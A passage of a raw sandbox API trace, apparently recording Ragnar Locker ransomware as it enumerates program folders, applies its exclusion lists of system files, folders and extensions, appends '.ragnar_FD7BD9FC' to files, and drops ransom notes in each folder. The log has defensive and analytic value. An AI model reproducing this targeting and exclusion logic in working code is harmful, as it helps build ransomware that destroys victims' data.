(lpString1="OmdProject.dll.mui", lpString2="autorun.inf") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="boot.ini") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootfont.bin") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootsect.bak") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootmgr") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="desktop.ini") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="iconcache.db") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntldr") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntuser.dat") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntuser.dat.log") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntuser.ini") returned 1 [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="thumbs.db") returned -1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.684] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0078.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.685] CloseHandle (hObject=0xffffffff) returned 0 [0078.685] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" [0078.685] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.ragnar_FD7BD9FC" [0078.685] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.685] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8124b5c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.685] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x28 [0078.685] lstrcpyW (in: lpString1=0x1ec0e2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.686] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.686] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.686] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0078.686] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x28 [0078.686] lstrcpyW (in: lpString1=0x1ec0e2, lpString2="WMM2CLIP.dll.mui" | out: lpString1="WMM2CLIP.dll.mui") returned="WMM2CLIP.dll.mui" [0078.686] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned=".mui" [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="autorun.inf") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="boot.ini") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="bootfont.bin") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="bootsect.bak") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="bootmgr") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="desktop.ini") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="iconcache.db") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntldr") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntuser.dat") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntuser.dat.log") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="ntuser.ini") returned 1 [0078.686] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="thumbs.db") returned 1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.686] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0078.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.687] CloseHandle (hObject=0xffffffff) returned 0 [0078.687] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" [0078.687] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.ragnar_FD7BD9FC" [0078.687] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.687] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0078.687] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.687] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0078.687] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".") returned 1 [0078.687] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="..") returned 1 [0078.687] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="offset.ax", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="offset.ax", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="OmdBase.dll", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="OmdBase.dll", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="OmdProject.dll", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="OmdProject.dll", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="Pipeline.dll", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="Pipeline.dll", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="PipeTran.dll", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2634be90, ftCreationTime.dwHighDateTime=0x1d5418e, ftLastAccessTime.dwLowDateTime=0x4886e580, ftLastAccessTime.dwHighDateTime=0x1d56c19, ftLastWriteTime.dwLowDateTime=0x4886e580, ftLastWriteTime.dwHighDateTime=0x1d56c19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="programmerstabilityfrequencies.exe", cAlternateFileName="PROGRA~1.EXE")) returned 1 [0078.688] lstrcmpiW (lpString1="programmerstabilityfrequencies.exe", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="programmerstabilityfrequencies.exe", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81225460, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81225460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.688] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="SecretST.TTF", lpString2="..") returned 1 [0078.688] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0078.688] lstrcmpiW (lpString1="Shared", lpString2=".") returned 1 [0078.688] lstrcmpiW (lpString1="Shared", lpString2="..") returned 1 [0078.688] lstrcmpiW (lpString1="Shared", lpString2="Windows") returned -1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Windows.old") returned -1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Tor browser") returned -1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Internet Explorer") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Google") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Opera") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Opera Software") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Mozilla") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="Mozilla Firefox") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="$Recycle.Bin") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="ProgramData") returned 1 [0078.689] lstrcmpiW (lpString1="Shared", lpString2="All Users") returned 1 [0078.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0078.689] lstrcpyW (in: lpString1=0x1ecbae, lpString2="Shared" | out: lpString1="Shared") returned="Shared" [0078.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\" [0078.689] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\" [0078.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\RGNR_FD7BD9FC.txt" [0078.689] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.692] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*" [0078.692] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0078.692] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.692] lstrcpyW (in: lpString1=0x1ebcd0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.692] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.692] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.692] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.692] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0078.693] lstrcmpiW (lpString1="Common.fxh", lpString2=".") returned 1 [0078.693] lstrcmpiW (lpString1="Common.fxh", lpString2="..") returned 1 [0078.693] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0078.693] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".") returned 1 [0078.693] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="..") returned 1 [0078.693] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0078.693] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".") returned 1 [0078.693] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="..") returned 1 [0078.693] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, 